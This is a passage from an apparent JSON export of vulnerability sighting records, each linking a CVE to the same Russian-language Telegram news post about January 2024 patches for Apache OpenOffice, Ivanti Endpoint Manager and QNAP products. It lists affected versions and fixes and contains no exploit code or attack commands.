\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "d1e3b2f9-bb04-4fc3-8004-121861e83e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47560", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 (\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u043c\u0430\u043a\u0440\u043e\u0441\u0430).\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0438\u0441\u044c, \u0437\u0430\u0442\u043e PoC \u0432 \u043d\u0430\u043b\u0438\u0447\u0438\u0438, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c CVE-2022-43680. \u0412\u0441\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache OpenOffice 4.1.14 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432, \u0442\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f.\n\nIvanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2023-39336 \u0432 Endpoint Manager (EPM).\n\n\u042d\u0442\u043e \u043e\u0448\u0438\u0431\u043a\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Ivanti, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0433\u0435\u043d\u0442 EPM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SQL Express, \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f, \u043d\u0430 \u043a\u0430\u043a\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\n\u0422\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0430\u044f QNAP Systems\u00a0\u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u0434\u044e\u0436\u0438\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445, CVE-2023-39296, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430\u043c\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u042d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 QTS 5.1.x \u0438 \u0432\u0435\u0440\u0441\u0438\u0438 QuTS Hero h5.1.x \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c QTS 5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110 \u0438 QuTS Hero h5.1.3.2578 \u0441\u0431\u043e\u0440\u043a\u0438 20231110.\n\n\u0412 \u0434\u0432\u0443\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2022-43634, \u0434\u0435\u0444\u0435\u043a\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Netatalk, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nQNAP \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Video Station \u2014 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f SQL (CVE-2023-41287) \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 (CVE-2023-41288), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0441\u0435\u0442\u0438.\u00a0\u0412 Video Station 5.7.2 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n\u0412 QuMagie 2.2.1 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0435\u0449\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e: CVE-2023-47559, XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 CVE-2023-47560, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421.\n\nQNAP \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0434\u044b\u0440 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e, \u043a\u0430\u043a \u043d\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.", "creation_timestamp": "2024-01-09T15:00:07.000000Z"}, {"uuid": "8507feee-1477-4a67-b5fc-9469a86f77a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47559", "type": "seen", "source": "https://t.me/true_secator/5270", "content": "\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043a\u0430\u043a QNAP \u0438 Ivanti \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0442\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b, \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0437\u0430\u043b\u0435\u0442\u0430\u044f \u0432 \u0440\u0443\u043a\u0438 \u0443\u043c\u0435\u043b\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Apache OpenOffice \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0440\u0435\u0434\u043a\u043e.\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 Apache OpenOffice \u0432\u0435\u0440\u0441\u0438\u0438 4.1.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e 4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445:\n- CVE-2012-5639 (\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e/\u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f), \n- CVE-2022-43680 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 libexpat), \n- CVE-2023-1183 (\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u0431\u0430\u0437\u0435), \n- CVE-2023-47804 